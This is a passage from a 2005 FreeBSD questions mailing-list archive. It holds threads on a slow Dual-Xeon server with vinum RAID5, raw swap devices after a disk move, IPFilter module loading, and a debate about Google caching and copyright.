vinum is that the Dual-PIII is twice as loaded as the Dual-Xeon, but hardly seems to break a sweat ... In fact, out of all my servers (3xDual-PIII, 1xDual-Athlon and 1xDual-Xeon), only the Dual-Xeon doesn't seem to be able to perform ... Now, out of all of the servers, only the Dual-Xeon, of course, supports HTT, which I *believe* is disabled, but from dmesg: Copyright (c) 1992-2004 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.10-STABLE #1: Fri Oct 22 15:06:55 ADT 2004 root@neptune.hub.org:/usr/obj/usr/src/sys/kernel Timecounter "i8254" frequency 1193182 Hz CPU: Intel(R) Xeon(TM) CPU 2.40GHz (2392.95-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0xf27 Stepping = 7 Features=0xbfebfbff Hyperthreading: 2 logical CPUs real memory = 4026466304 (3932096K bytes) avail memory = 3922362368 (3830432K bytes) Programming 24 pins in IOAPIC #0 IOAPIC #0 intpin 2 -> irq 0 Programming 24 pins in IOAPIC #1 Programming 24 pins in IOAPIC #2 FreeBSD/SMP: Multiprocessor motherboard: 4 CPUs cpu0 (BSP): apic id: 0, version: 0x00050014, at 0xfee00000 cpu1 (AP): apic id: 1, version: 0x00050014, at 0xfee00000 cpu2 (AP): apic id: 6, version: 0x00050014, at 0xfee00000 cpu3 (AP): apic id: 7, version: 0x00050014, at 0xfee00000 io0 (APIC): apic id: 8, version: 0x00178020, at 0xfec00000 io1 (APIC): apic id: 9, version: 0x00178020, at 0xfec81000 io2 (APIC): apic id: 10, version: 0x00178020, at 0xfec81400 Preloaded elf kernel "kernel" at 0x80339000. Warning: Pentium 4 CPU: PSE disabled Pentium Pro MTRR support enabled Using $PIR table, 19 entries at 0x800f2f30 Its showing "4 CPUs" ... but: machdep.hlt_logical_cpus: 1 which, from /usr/src/UPDATING indicates that the HTT "cpus" aren't enabled: 20031022: Support for HyperThread logical CPUs has now been enabled by default. As a result, the HTT kernel option no longer exists. Instead, the logical CPUs are always started so that they can handle interrupts. However, the extra logical CPUs are prevented from executing user processes by default. To enable the logical CPUs, change the value of the machdep.hlt_logical_cpus from 1 to 0. This value can also be set from the loader as a tunable of the same name. Finally ... top shows: last pid: 73871; load averages: 9.76, 9.23, 8.16 up 9+02:02:26 00:57:06 422 processes: 8 running, 413 sleeping, 1 zombie CPU states: 19.0% user, 0.0% nice, 81.0% system, 0.0% interrupt, 0.0% idle Mem: 2445M Active, 497M Inact, 595M Wired, 160M Cache, 199M Buf, 75M Free Swap: 2048M Total, 6388K Used, 2041M Free PID USERNAME PRI NICE SIZE RES STATE C TIME WCPU CPU COMMAND 28298 www 64 0 28136K 12404K CPU2 2 80:59 24.51% 24.51% httpd 69232 excalibur 64 0 80128K 76624K RUN 2 2:55 16.50% 16.50% lisp.run 72879 www 64 0 22664K 9444K RUN 0 0:12 12.94% 12.94% httpd 14154 www 64 0 36992K 22880K RUN 0 55:07 12.70% 12.70% httpd 69758 www 63 0 15400K 8756K RUN 0 0:18 11.87% 11.87% httpd 7553 nobody 2 0 158M 131M poll 0 33:19 8.98% 8.98% nsd 70752 setiathome 2 0 14644K 14084K select 2 0:47 8.98% 8.98% perl 71191 setiathome 2 0 13220K 12804K select 0 0:29 8.40% 8.40% perl 70903 setiathome 2 0 14224K 13676K select 0 0:42 7.37% 7.37% perl 33932 setiathome 2 0 21712K 21144K select 0 2:23 4.59% 4.59% perl In this case ... 0% idle, 81% in system? As a comparison the Dual-PIII/vinum server looks like: last pid: 90614; load averages: 3.64, 2.41, 2.69 up 3+08:45:17 00:59:27 955 processes: 12 running, 942 sleeping, 1 zombie CPU states: 63.9% user, 0.0% nice, 32.6% system, 3.5% interrupt, 0.0% idle Mem: 2432M Active, 687M Inact, 563M Wired, 147M Cache, 199M Buf, 5700K Free Swap: 8192M Total, 12M Used, 8180M Free, 12K In PID USERNAME PRI NICE SIZE RES STATE C TIME WCPU CPU COMMAND 90506 scrappy 56 0 19384K 14428K RUN 0 0:06 22.98% 16.41% postgres 90579 root 57 0 3028K 2156K CPU1 1 0:04 26.23% 14.45% top 90554 pgsql -6 0 12784K 7408K RUN 1 0:04 18.76% 11.87% postgres 90529 pgsql 54 0 14448K 8568K RUN 0 0:03 16.90% 11.28% postgres 90560 scrappy -6 0 97368K 56900K vrlock 1 0:03 18.50% 10.99% postgres 90433 root -6 0 576K 392K piperd 1 0:02 10.47% 7.76% gzip 84754 scrappy 2 0 15508K 8380K sbwait 0 2:41 6.30% 6.30% postgres 90553 root 2 0 98M 99120K select 1 0:01 5.94% 3.76% pg_dump 4621 scrappy 2 0 19544K 11988K sbwait 0 9:36 2.05% 2.05% postgres The Dual-PIII is running an Oct7th kernel while the Dual-Xeon is Oct22nd ... if that means anything ... Is there anything I can look at or try? More information I can provide? Thanks ... On Wed, 9 Feb 2005, Marc G. Fournier wrote: > On Wed, 9 Feb 2005, Greg 'groggy' Lehey wrote: > >> On Tuesday, 8 February 2005 at 23:21:54 -0400, Marc G. Fournier wrote: >>> >>> I have a Dual-Xeon server with 4G of RAM, with its primary file system >>> consisting of 4x73G SCSI drives running RAID5 using vinum ... the >>> operating system is currently FreeBSD 4.10-STABLE #1: Fri Oct 22 15:06:55 >>> ADT 2004 ... swap usage is 0% (6149) ... and it performs worse then any of >>> my other servers, and I have less running on it then the other servers ... >>> >>> I also have HTT disabled on this server ... and softupdates enabled on the >>> file system ... >>> >>> That said ... am I hitting limits of software raid or is there something I >>> should be looking at as far as performance is concerned? Maybe something >>> I have misconfigured? >> >> Based on what you've said, it's impossible to tell. Details would be >> handy. > > Like? I'm not sure what would be useful for this one ... I just sent in my > current drive config ... something else useful? > > systat -v output help: > > 4 users Load 4.64 5.58 5.77 Feb 9 00:24 > > Mem:KB REAL VIRTUAL VN PAGER SWAP PAGER > Tot Share Tot Share Free in out in out > Act 1904768 137288 3091620 381128 159276 count > All 3850780 221996 1078752 605460 pages > 7921 zfod Interrupts > Proc:r p d s w Csw Trp Sys Int Sof Flt 242 cow 681 total > 24 9282 949 8414***** 678 349 8198 566916 wire ahd0 > irq16 > 2527420 act 67 ahd1 > irq17 > 54.6%Sys 0.2%Intr 45.2%User 0.0%Nice 0.0%Idl 608208 inact 157 em0 > irq18 > | | | | | | | | | | 146620 cache 200 clk > irq0 > ===========================>>>>>>>>>>>>>>>>>>>>> 12656 free 257 rtc > irq8 > daefr > Namei Name-cache Dir-cache 7363 prcfr > Calls hits % hits % react > 46106 46005 100 13 0 pdwake > pdpgs > Disks da0 da1 da2 da3 da4 pass0 pass1 intrn > KB/t 5.32 9.50 12.52 16.00 9.00 0.00 0.00 204096 buf > tps 23 2 4 3 1 0 0 1610 dirtybuf > MB/s 0.12 0.01 0.05 0.04 0.01 0.00 0.00 512000 desiredvnodes > % busy 3 1 1 1 0 0 0 397436 numvnodes > 166179 freevnodes > > Drives da1 -> da4 are used on the vinum array da0 is just the system drive > ... > > ---- > Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) > Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > ---- Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 05:03:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 23E8B16A4CE; Wed, 9 Feb 2005 05:03:30 +0000 (GMT) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9E18E43D1D; Wed, 9 Feb 2005 05:03:29 +0000 (GMT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.13.1/8.13.1) id j1953Sif029214; Tue, 8 Feb 2005 23:03:28 -0600 (CST) (envelope-from dan) Date: Tue, 8 Feb 2005 23:03:28 -0600 From: Dan Nelson To: "Marc G. Fournier" Message-ID: <20050209050328.GA78932@dan.emsphone.com> References: <20050208231208.B94338@ganymede.hub.org> <20050209034624.GN28715@wantadilla.lemis.com> <20050209002232.B94338@ganymede.hub.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050209002232.B94338@ganymede.hub.org> X-OS: FreeBSD 5.3-STABLE X-message-flag: Outlook Error User-Agent: Mutt/1.5.6i cc: freebsd-questions@freebsd.org Subject: Re: vinum in 4.x poor performer? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 05:03:30 -0000 In the last episode (Feb 09), Marc G. Fournier said: > On Wed, 9 Feb 2005, Greg 'groggy' Lehey wrote: > >On Tuesday, 8 February 2005 at 23:21:54 -0400, Marc G. Fournier wrote: > >>I have a Dual-Xeon server with 4G of RAM, with its primary file > >>system consisting of 4x73G SCSI drives running RAID5 using vinum > >>... the operating system is currently FreeBSD 4.10-STABLE #1: Fri > >>Oct 22 15:06:55 ADT 2004 ... swap usage is 0% (6149) ... and it > >>performs worse then any of my other servers, and I have less > >>running on it then the other servers ... > >> > >>I also have HTT disabled on this server ... and softupdates enabled > >>on the file system ... > >> > >>That said ... am I hitting limits of software raid or is there > >>something I should be looking at as far as performance is > >>concerned? Maybe something I have misconfigured? > > > >Based on what you've said, it's impossible to tell. Details would > >be handy. > > Like? I'm not sure what would be useful for this one ... I just sent > in my current drive config ... something else useful? Details on the array's performance, I think. Software RAID5 will definitely have poor write performance (logging disks solve that problem but vinum doesn't do that), but should have excellent read rates. From this output, however: > systat -v output help: > 4 users Load 4.64 5.58 5.77 > Proc:r p d s w Csw Trp Sys Int Sof Flt > 24 9282 949 8414***** 678 349 8198 > 54.6%Sys 0.2%Intr 45.2%User 0.0%Nice 0.0%Idl > Disks da0 da1 da2 da3 da4 pass0 pass1 > KB/t 5.32 9.50 12.52 16.00 9.00 0.00 0.00 > tps 23 2 4 3 1 0 0 > MB/s 0.12 0.01 0.05 0.04 0.01 0.00 0.00 > % busy 3 1 1 1 0 0 0 , it looks like your disks aren't being touched at all. You are doing over 99999 syscalls/second, though, which is mighty high. The 50% Sys doesn't look good either. You may have a runaway process doing some syscall over and over. If this is not an MPSAFE syscall (see /sys/kern/syscalls.master ), it will also prevent other processes from making non-MPSAFE syscalls, and in 4.x that's most of them. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 05:07:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A969516A4CE for ; Wed, 9 Feb 2005 05:07:12 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5DC0043D2D for ; Wed, 9 Feb 2005 05:07:12 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 3755651432; Tue, 8 Feb 2005 21:07:10 -0800 (PST) Date: Tue, 8 Feb 2005 21:07:10 -0800 From: Kris Kennaway To: Gert Cuykens Message-ID: <20050209050709.GA45153@xor.obsecurity.org> References: <1107920345.41909.2.camel@codegurus.org> <420991C1.2030808@taborandtashell.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="7JfCtLOvnd9MIVvH" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i cc: Mick Walker cc: tkelly-freebsd-questions@taborandtashell.net cc: "freebsd-questions@freebsd.org" Subject: Re: GTK vs QT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 05:07:12 -0000 --7JfCtLOvnd9MIVvH Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Feb 09, 2005 at 05:53:55AM +0100, Gert Cuykens wrote: > On Tue, 08 Feb 2005 20:29:53 -0800, Tabor Kelly > wrote: > > Gert Cuykens wrote: > > > On Wed, 09 Feb 2005 03:39:05 +0000, Mick Walker wrote: > > > > > >>Why would you make a statement like that without making points to back > > >>it up? > > > > > > > > > because i dont have points except that qt can kiss my $$$ :) > > > > > > no i am just wondering what you guy's think thats all i lookt around > > > on the internet a bit but that was old stuff about gtk1 and so. > >=20 > > I have read the QT is far more efficient and that the only reason anyone > > uses GTK is for licensing reasons. Any comments? Also, not to mention > > that QT is fully portable to M$ Windows. > >=20 >=20 > i knew you where going to say that , let me fire some counter measures > by saying that GTK2 + GIMP works excellent on windows XP Gert, this list is for technical support questions about FreeBSD. If you want to have random discussions about other topics, the appropriate list is freebsd-chat. Thanks, Kris --7JfCtLOvnd9MIVvH Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCZp9Wry0BWjoQKURAtQ0AJ40c3q2dV6lEo/PigARC7bac5KDjACgsHZv uRiJXaJRiOQcgTkCux2IYuA= =4r2b -----END PGP SIGNATURE----- --7JfCtLOvnd9MIVvH-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 05:14:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 60CD516A4CE for ; Wed, 9 Feb 2005 05:14:30 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 08E8C43D45 for ; Wed, 9 Feb 2005 05:14:29 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j195ESGf017421 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 8 Feb 2005 21:14:28 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j195ERF3017419; Tue, 8 Feb 2005 21:14:27 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Tue, 8 Feb 2005 21:14:27 -0800 From: "Loren M. Lang" To: "Kjell B." Message-ID: <20050209051427.GJ8619@alzatex.com> References: <4205E80F.2030206@telia.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4205E80F.2030206@telia.com> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: questions@freebsd.org Subject: Re: rad5s1b shows up mysteriously instead of ad5s1b X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 05:14:30 -0000 On Sun, Feb 06, 2005 at 10:49:03AM +0100, Kjell B. wrote: > I just moved my disks to a different controller and this happened to > (part of) my swap. I have searched the mailing lists, the FreeBSD > homepage and Googled without success. > > I basically have two disks: ad0 and ad1 before the move; ad4 and ad5 > after the move. ad0/ad4 is the main disk while ad1/ad5 is my backup disk. > > Before the move: > > # See the fstab(5) manual page for important information on automatic mounts > # of network filesystems before modifying this file. > # > # Device Mountpoint FStype Options Dump > Pass# > /dev/ad0s1b none swap sw 0 0 > /dev/ad1s1b none swap sw 0 0 > /dev/ad0s1a / ufs rw 1 1 > /dev/ad1s1e /rootback ufs rw 1 1 > /dev/ad1s1f /backup ufs rw 2 2 > /dev/ad0s1f /tmp ufs rw 2 2 > /dev/ad0s1g /usr ufs rw 2 2 > /dev/ad0s1e /var ufs rw 2 2 > #/dev/ad1s1a /mnt/newroot ufs rw 1 1 > #/dev/ad1s1e /mnt/newvar ufs rw 2 2 > #/dev/ad1s1f /mnt/newtmp ufs rw 2 2 > #/dev/ad1s1g /mnt/newusr ufs rw 2 2 > /dev/acd0c /cdrom cd9660 ro,noauto 0 0 > /dev/acd1c /cdrom1 cd9660 ro,noauto 0 0 > proc /proc procfs rw 0 0 > /dev/ad4s2 /ntfs/c ntfs rw,noauto 0 0 > /dev/ad4s5 /ntfs/f ntfs rw,noauto 0 0 > /dev/ad4s6 /ntfs/g ntfs rw,noauto 0 0 > /dev/ad4s7 /ntfs/h ntfs rw,noauto 0 0 > > After the move (and physical removal of the NTFS disk): > > # See the fstab(5) manual page for important information on automatic mounts > # of network filesystems before modifying this file. > # > # Device Mountpoint FStype Options Dump > Pass# > /dev/ad4s1b none swap sw 0 0 > /dev/ad5s1b none swap sw 0 0 > /dev/ad4s1a / ufs rw 1 1 > /dev/ad5s1e /rootback ufs rw 1 1 > /dev/ad5s1f /backup ufs rw 2 2 > /dev/ad4s1f /tmp ufs rw 2 2 > /dev/ad4s1g /usr ufs rw 2 2 > /dev/ad4s1e /var ufs rw 2 2 > #/dev/ad1s1a /mnt/newroot ufs rw 1 1 > #/dev/ad1s1e /mnt/newvar ufs rw 2 2 > #/dev/ad1s1f /mnt/newtmp ufs rw 2 2 > #/dev/ad1s1g /mnt/newusr ufs rw 2 2 > /dev/acd0c /cdrom cd9660 ro,noauto 0 0 > /dev/acd1c /cdrom1 cd9660 ro,noauto 0 0 > proc /proc procfs rw 0 0 > #/dev/ad4s2 /ntfs/c ntfs rw,noauto 0 0 > #/dev/ad4s5 /ntfs/f ntfs rw,noauto 0 0 > #/dev/ad4s6 /ntfs/g ntfs rw,noauto 0 0 > #/dev/ad4s7 /ntfs/h ntfs rw,noauto 0 0 > > My swap areas are not ad4s1b and ad5s1b as I have defined, but rather > ad4s1b and rad5s1b. Webmin reports: > Mounted as Type Location In use? Permanent? > Virtual Memory Virtual Memory (swap) /dev/ad4s1b Yes Yes > Virtual Memory Virtual Memory (swap) /dev/ad5s1b No Yes > Virtual Memory Virtual Memory (swap) /dev/rad5s1b Yes No > > Any explanation? What is rad? Is more info needed and if so: what? r in front of any block device is the raw device for it. It access the data directly on the drive without using the buffer cache. FreeBSD 5.x no longer makes a distinction, and 4.x may still. For swap, I'm not sure how it interacts. Swap may always be raw since the point is to free up some ram and therefore it shouldn't be cached in ram. > > -- > Kjell > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 05:22:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 10C6B16A4CE for ; Wed, 9 Feb 2005 05:22:06 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 389CE43D2D for ; Wed, 9 Feb 2005 05:22:05 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j195M4Gf017641 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 8 Feb 2005 21:22:04 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j195M4su017639; Tue, 8 Feb 2005 21:22:04 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Tue, 8 Feb 2005 21:22:03 -0800 From: "Loren M. Lang" To: Jim Arnold Message-ID: <20050209052203.GK8619@alzatex.com> References: <20050207191621.GB3160@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: freebsd-questions@freebsd.org cc: Kris Kennaway Subject: Re: IP Filter changes in FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 05:22:06 -0000 On Mon, Feb 07, 2005 at 02:46:50PM -0500, Jim Arnold wrote: > >On Mon, Feb 07, 2005 at 11:08:54AM -0500, Jim Arnold wrote: > > > >> >If you don't have it in your kernel, the module will be loaded at boot > >> >time if it's available. If you don't have the module either, you > >> >can't use ipfilter. > >> > >> I must have been using the module with 4.7 stable since I did not > >> have that in the kernel I was running with 4.7. After I upgraded to > >> 4.11 and IPF was not working I edited my kernel config file to > >> uncomment the lines for IPF and then compiled the new kernel. I still > >> don't have an answer why this happened. > >> > >> Was the module taken out of 4.11 or an earlier version on FreeBSD? > > > >No, it's still there as long as you build modules. If you have > >NO_MODULES in your make.conf, you won't, of course. > > > >Kris > > > >Attachment converted: osx:Untitled 3599 ( / ) (000B9F03) > > I'm using the same /etc/make.conf file when I first put this box > online in 2002. In that make.conf > file the line is commented out: > > #NO_MODULES= true # do not build modules with the kernel > > But the question for me is still, how did this work in 4.7 if the > above was commented out in my /etc/make.conf file and I did not have > these uncommented in my kernel config file when I built my > custom kernel for 4.7? I'd be interested to see if manually loading the module with kldload with the original kernel works. If it does then maybe you're missing something from rc.conf that tells freebsd to load the module. With FreeBSD 5.3, all I need is ipfilter_enable="YES" to have it auto-load the module and start ipfilter, but there might be something more for 4.x > > options IPFILTER > options IPFILTER_LOG > > Thanks, > Jim > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 05:32:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1FCA416A4CE; Wed, 9 Feb 2005 05:32:34 +0000 (GMT) Received: from hub.org (hub.org [200.46.204.220]) by mx1.FreeBSD.org (Postfix) with ESMTP id B174143D39; Wed, 9 Feb 2005 05:32:33 +0000 (GMT) (envelope-from scrappy@hub.org) Received: from localhost (unknown [200.46.204.144]) by hub.org (Postfix) with ESMTP id 3ECE91291F2; Wed, 9 Feb 2005 01:32:32 -0400 (AST) Received: from hub.org ([200.46.204.220]) by localhost (av.hub.org [200.46.204.144]) (amavisd-new, port 10024) with ESMTP id 31412-10; Wed, 9 Feb 2005 05:32:32 +0000 (GMT) Received: from ganymede.hub.org (blk-224-186-245.eastlink.ca [24.224.186.245]) by hub.org (Postfix) with ESMTP id AA4FF12B13D; Wed, 9 Feb 2005 01:32:31 -0400 (AST) Received: by ganymede.hub.org (Postfix, from userid 1000) id 30FC7390CD; Wed, 9 Feb 2005 01:32:31 -0400 (AST) Received: from localhost (localhost [127.0.0.1]) by ganymede.hub.org (Postfix) with ESMTP id 301D438556; Wed, 9 Feb 2005 01:32:31 -0400 (AST) Date: Wed, 9 Feb 2005 01:32:31 -0400 (AST) From: "Marc G. Fournier" To: Dan Nelson In-Reply-To: <20050209050328.GA78932@dan.emsphone.com> Message-ID: <20050209011528.X94338@ganymede.hub.org> References: <20050208231208.B94338@ganymede.hub.org> <20050209002232.B94338@ganymede.hub.org> <20050209050328.GA78932@dan.emsphone.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: by amavisd-new at hub.org cc: freebsd-questions@freebsd.org Subject: Re: vinum in 4.x poor performer? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 05:32:34 -0000 On Tue, 8 Feb 2005, Dan Nelson wrote: > Details on the array's performance, I think. Software RAID5 will > definitely have poor write performance (logging disks solve that > problem but vinum doesn't do that), but should have excellent read > rates. From this output, however: > >> systat -v output help: >> 4 users Load 4.64 5.58 5.77 > >> Proc:r p d s w Csw Trp Sys Int Sof Flt >> 24 9282 949 8414***** 678 349 8198 > >> 54.6%Sys 0.2%Intr 45.2%User 0.0%Nice 0.0%Idl > >> Disks da0 da1 da2 da3 da4 pass0 pass1 >> KB/t 5.32 9.50 12.52 16.00 9.00 0.00 0.00 >> tps 23 2 4 3 1 0 0 >> MB/s 0.12 0.01 0.05 0.04 0.01 0.00 0.00 >> % busy 3 1 1 1 0 0 0 > > , it looks like your disks aren't being touched at all. You are doing > over 99999 syscalls/second, though, which is mighty high. The 50% Sys > doesn't look good either. You may have a runaway process doing some > syscall over and over. If this is not an MPSAFE syscall (see > /sys/kern/syscalls.master ), it will also prevent other processes from > making non-MPSAFE syscalls, and in 4.x that's most of them. Wow, that actually pointed me in the right direction, I think ... I just killed an http process that was using alot of CPU, and syscalls drop'd down to a numeric value again ... I'm still curious as to why this only seem sto affect my Dual-Xeon box though :( Thanks ... ---- Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 05:32:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 13CCA16A4CE for ; Wed, 9 Feb 2005 05:32:45 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0816B43D39 for ; Wed, 9 Feb 2005 05:32:44 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j195WgGf017765 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 8 Feb 2005 21:32:43 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j195Wg4s017763 for freebsd-questions@freebsd.org; Tue, 8 Feb 2005 21:32:42 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Tue, 8 Feb 2005 21:32:42 -0800 From: "Loren M. Lang" To: freebsd-questions@freebsd.org Message-ID: <20050209053242.GL8619@alzatex.com> References: <4203F451.9070307@cis.strath.ac.uk> <1485510257.20050205055221@wanadoo.fr> <200502050030.39812.m.hauber@mchsi.com> <452211071.20050205114332@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <452211071.20050205114332@wanadoo.fr> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 05:32:45 -0000 On Sat, Feb 05, 2005 at 11:43:32AM +0100, Anthony Atkielski wrote: > Mike Hauber writes: > > > MH> But that's different in that it was never released to a public forum > MH> in the first place (explicitly or otherwise). > > I'm not sure what you mean by "public forum." A server accessible from > the Internet without any special authorization mechanism is about as > public as anything can get, particularly if there is something else > linking to it that allows spiders to find it. > > There is a distinction, however, when someone must take a positive, > explicit step to join a forum, such as selecting a userid and password, > or submitting a subscription request to a mailing list, and so on. In > that case, the forum is no longer public, and the person > joining it may reasonably suppose that its contents will not be > public either. > > If a band sets up shop on a street and starts to play music, they may > reasonably suppose that anyone might record the music, and there isn't > anything they can do about that. However, if they give a concert in a > venue to which access is controlled in some way (such as through the > sale of tickets), they can reasonably suppose that their performance > cannot be recorded. > > MH> Or is what you're referring to specific to Google's caching > MH> system? > > Personally I consider the caching to be an infringement, albeit usually > not a grave one. Just linking to pages does not appear to be any kind > of infringement to me, particularly since Google respects site > instructions not to index certain pages or sites (robot exclusion > rules). What if I wanted to put up a page of emails that I wrote and sent to, say, the 